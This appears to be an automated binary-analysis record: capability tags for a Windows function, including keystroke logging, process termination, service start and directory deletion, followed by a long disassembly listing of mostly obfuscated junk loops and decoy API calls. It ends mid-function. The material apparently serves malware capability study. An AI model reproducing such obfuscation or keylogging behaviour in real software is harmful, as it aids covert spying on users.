Function at 0x1002fcf6
Capabilities:
Accept command line arguments
Check os version
Clear file content
Connect pipe
Create pipe
Create two anonymous pipes
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get system information on windows
Get thread local storage value
Identify system language via api
Log keystrokes
Query or enumerate registry value
Query service status
Start service
Terminate process

Disassembly:
mov eax, 0x1007085d
call fcn.100701e8
sub esp, 0xf9c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x24], 0xfd41e559
mov dword [ebp - 0x48], eax
push 4
mov dword [ebp - 0x68], ecx
mov byte [ebp - 0x75], dl
pop ecx
cmp dword [ebp - 0x24], eax
je 0x1002fdf8
mov dword [ebp - 0x20], 0xb4c8f0d0
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002fd5b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbe8], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002fd43
xor eax, eax
push 1
pop ebx
cmp dword [ebp - 0x24], eax
je 0x1002fdca
inc dword [ebp - 0x20]
je 0x1002fdb3
cmp dword [ebp - 0x1c], eax
jne 0x1002fd8e
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x48]
jg 0x1002fd7e
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x1002fd80
mov ecx, ebx
mov eax, dword [ebp - 0x20]
add eax, ecx
cmp eax, dword [ebp - 0x48]
jne 0x1002fd8e
xor eax, eax
jmp 0x1002fd90
mov eax, ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jle 0x1002fda7
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setne dl
neg edx
je 0x1002fdc8
mov ecx, ebx
jmp 0x1002fdcc
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
jne 0x1002fded
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xbe4], ebx
jmp 0x1002fe49
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002fe1d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc50], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002fe04
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x24], eax
inc ebx
jmp 0x1002fe44
mov dword [ebp - 0x38], 0x2c298c24
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1002fe41
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1002fe25
mov edi, dword [sym.imp.GDI32.dll_Ellipse]
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x11
push 3
pop ecx
je 0x10030531
jmp 0x1002fe6f
push 3
pop ecx
mov dword [ebp - 0x20], 0x1928c176
mov dword [ebp - 0x38], 0x3b6f9b69
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002fea2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x99c], 0xfecf7921
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002fe89
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
je 0x1002ff06
mov dword [ebp - 0x28], 0x74006310
xor edx, edx
mov dword [ebp - 0x40], 0x6270e7ad
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setle dl
mov dword [ebp - 0x998], edx
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
add eax, 0xffff9e3e
add eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jne 0x1002feab
push 3
xor eax, eax
pop ecx
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x100300fa
mov dword [ebp - 0x2c], 0x532fe223
mov dword [ebp - 0x24], 0x18f4c6f4
mov dword [ebp - 0x28], 0xfffc
mov dword [ebp - 0x4c], 0x90eb1f0c
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002ff51
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3a4], 0xb9b5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1002ff38
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1002ff71
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x96c], 0xf6b34c2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002ff59
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x100300cf
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x64], 5
mov dword [ebp - 0x60], 5
mov dword [ebp - 0x5c], 5
mov dword [ebp - 0x58], 5
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x3a4], 0
je 0x1003001f
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x968], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setge dl
xor eax, eax
sub edx, dword [ebp - 0x3a0]
cmp edx, 0xffffffff
setne al
cmp eax, dword [ebp - 0x3a0]
jge 0x10030002
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x2c]
push 3
pop ecx
mov eax, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x3a4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x28], eax
je 0x100300c9
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x100300ad
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1003005e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xabc], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030046
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10030085
mov dword [ebp - 0x40], 0xdc870af0
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003007f
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 3
xor eax, eax
pop ecx
dec dword [ebp - 0x40]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x10030063
mov dword [ebp - 0x40], 0x51aaf19
mov eax, dword [ebp - 0xabc]
sub eax, dword [ebp - 0x40]
neg eax
push 0
sbb eax, eax
inc eax
mov dword [ebp - 0x968], eax
dec dword [ebp - 0x24]
pop eax
jns 0x1003003e
mov dword [ebp - 0x24], 0x12
jmp 0x100300c1
cmp dword [ebp - 0x3a4], eax
jne 0x100300cc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jl 0x100300b6
jmp 0x100300cc
dec dword [ebp - 0x4c]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jle 0x1002ff79
push 0x1913
push 0x1e40
push 0x1ccd
push 0x156b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x18], 0xfb871c7b
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10030133
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdbc], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003011b
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003015c
push eax
push eax
push 0x1726
push eax
push 0xe7c
push eax
push 0x758
push 0x1695
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100301a0
mov dword [ebp - 0x3c], 0x50e6da50
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xbfc4f27d
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x40], 0x9d44c039
dec dword [ebp - 0x40]
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003019d
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10030161
mov byte [ebp - 0xd], al
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x34], 0xa8ed40a1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0xa82e77e8
push 3
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x100301f2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x614], 0xc15d0d65
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100301e1
mov eax, dword [ebp - 0x610]
xor edx, edx
mov ecx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x220]
cmp eax, ecx
setle dl
xor eax, eax
test edx, edx
setns al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x224]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x610]
mov eax, dword [ebp - 0x228]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x224]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
xor ecx, ecx
cmp eax, ebx
mov eax, dword [ebp - 0x224]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 0xfffffff8
cmp dword [ebp - 0x20], 0xffffffeb
je 0x1003046e
xor eax, eax
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x38], 0xb5d6
mov dword [ebp - 0x34], eax
jmp 0x100303b3
mov dword [ebp - 0x48], 0xd9236f91
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], 0xa9fc5c2d
cmp dword [ebp - 0x24], eax
je 0x10030385
mov dword [ebp - 0x28], 0xa3b
xor edx, edx
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x40], 0xfffffff8
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0xfffffffe
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setle dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x40], eax
jle 0x10030321
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x224], eax
je 0x10030323
mov esi, ebx
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
sub edx, esi
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp edx, eax
mov eax, 0x9e4a0435
setg cl
cmp eax, ecx
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x224]
mov dword [ebp - 0x40], edx
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
jmp 0x10030399
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003039b
push 0x1061
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x100303b0
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xc
jne 0x100302a5
mov dword [ebp - 0x34], 3
cmp dword [ebp - 0x34], eax
jl 0x10030461
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x10030406
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10030401
push eax
push 0x67c
push eax
push 0x933
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x100303d9
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x22c], 0
jne 0x10030449
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x22c]
cmp eax, ebx
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x22c]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x224]
je 0x10030452
cmp dword [ebp - 0x24], eax
je 0x10030452
jmp 0x1003044b
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10030452
mov eax, ebx
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x34]
push 0
pop eax
jns 0x100303cd
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffeb
jne 0x1003027a
cmp byte [ebp - 0xd], 0
je 0x10030521
xor eax, eax
mov dword [ebp - 0x34], eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x100304a0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7d8], 0x25a8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030488
xor eax, eax
mov dword [ebp - 0x34], 0x14
jmp 0x100304b6
mov dword [ebp - 0x38], 0x8cb4c23a
mov dword [ebp - 0x38], ebx
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffffa
jl 0x100304a9
mov dword [ebp - 0x34], 2
cmp dword [ebp - 0x34], eax
jl 0x1003050c
mov dword [ebp - 0x40], 0xba29f583
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x7d8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x7d8]
cmp ebx, eax
mov eax, dword [ebp - 0x7d4]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, 0xffffffff
setge cl
imul edx, ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], 7
dec dword [ebp - 0x34]
jns 0x100304c8
push 0x1f6b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
push 0
pop eax
jne 0x1002fe6c
mov dword [ebp - 0x344], ebx
mov dword [ebp - 0x340], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x33c], 0xfffffff8
jmp 0x10030670
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10030581
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2d8], 0x25260
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10030568
xor eax, eax
mov dword [ebp - 0x2d8], eax
jmp 0x10030658
mov dword [ebp - 0x38], 0xedad94e8
cmp dword [ebp - 0x338], eax
je 0x100305ba
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100305af
push 0x113a
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov eax, dword [ebp - 0x33c]
jmp 0x10030650
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], 0xd
jmp 0x10030637
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100305ef
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc00], 0xd0da0bdb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100305d6
xor eax, eax
mov dword [ebp - 0xbfc], 0xcc2443ac
mov dword [ebp - 0x18], eax
jmp 0x1003062e
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030626
push eax
push 0x1fd4
push eax
push 0x21ce
push 0x2644
push eax
push 0x3e7
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x10030634
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff0
jge 0x100305fe
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xa
jge 0x100305ca
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030652
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
inc dword [ebp - 0x2d8]
cmp dword [ebp - 0x2d8], 0x16
jne 0x1003058c
cmp dword [ebp - 0x40], eax
jne 0x1003067d
dec dword [ebp - 0x33c]
cmp dword [ebp - 0x33c], 0xfffffff4
jl 0x1003055f
mov dword [ebp - 0x24], 0xfd41e559
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x24], eax
je 0x10030761
mov dword [ebp - 0x20], 0xb4c8f0d0
mov dword [ebp - 0x1c], 0xfffffffc
push 4
mov dword [ebp - 0x44], eax
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x100306c7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc18], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100306af
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10030733
inc dword [ebp - 0x20]
je 0x1003071c
cmp dword [ebp - 0x1c], eax
jne 0x100306f7
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x48]
jg 0x100306e7
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x100306e9
mov ecx, ebx
mov eax, dword [ebp - 0x20]
add eax, ecx
cmp eax, dword [ebp - 0x48]
jne 0x100306f7
xor eax, eax
jmp 0x100306f9
mov eax, ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jle 0x10030710
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setne dl
neg edx
je 0x10030731
mov ecx, ebx
jmp 0x10030735
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
jne 0x10030756
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc14], ebx
jmp 0x100307af
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10030786
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc80], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003076d
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x100307aa
mov dword [ebp - 0x38], 0x2c298c24
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100307a7
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1003078b
mov dword [ebp - 0x1c], ebx
xor eax, eax
mov dword [ebp - 0x20], 0x1928c176
mov dword [ebp - 0x38], 0x3b6f9b69
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x100307e7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c0], 0xfecf7921
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100307ce
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
je 0x10030848
mov dword [ebp - 0x28], 0x74006310
xor edx, edx
mov dword [ebp - 0x40], 0x6270e7ad
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setle dl
mov dword [ebp - 0x8bc], edx
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
add eax, 0xffff9e3e
add eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jne 0x100307f0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x11
je 0x10030ff6
or ecx, 0xffffffff
mov dword [ebp - 0x18], 0xfb871c7b
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1003088e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdd4], 0x64a6847d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030876
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100308b7
push eax
push eax
push 0x1726
push eax
push 0xe7c
push eax
push 0x758
push 0x1695
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100308fb
mov dword [ebp - 0x3c], 0x50e6da50
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xbfc4f27d
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x40], 0x9d44c039
dec dword [ebp - 0x40]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100308f8
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100308bc
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030bf5
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x34], 0xa8ed40a1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0xa82e77e8
push 3
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10030957
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x644], 0xc15d0d65
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10030946
mov eax, dword [ebp - 0x640]
xor edx, edx
mov ecx, dword [ebp - 0x640]
mov eax, dword [ebp - 0x240]
cmp eax, ecx
setle dl
xor eax, eax
test edx, edx
setns al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x244]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x640]
mov eax, dword [ebp - 0x248]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x244]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
xor ecx, ecx
cmp eax, ebx
mov eax, dword [ebp - 0x244]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 0xfffffff8
cmp dword [ebp - 0x20], 0xffffffeb
je 0x10030bd3
xor eax, eax
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x38], 0xb5d6
mov dword [ebp - 0x34], eax
jmp 0x10030b18
mov dword [ebp - 0x48], 0xd9236f91
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], 0xa9fc5c2d
cmp dword [ebp - 0x24], eax
je 0x10030ae4
mov dword [ebp - 0x28], 0xa3b
xor edx, edx
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x40], 0xfffffff8
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0xfffffffe
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setle dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x40], eax
jle 0x10030a86
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x244], eax
je 0x10030a88
mov esi, ebx
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
sub edx, esi
cmp edx, eax
mov eax, 0x9e4a0435
setg cl
cmp eax, ecx
mov eax, dword [ebp - 0x24]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x244]
mov dword [ebp - 0x40], edx
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
jmp 0x10030af8
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030afa
push 0x1061
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030b15
push eax
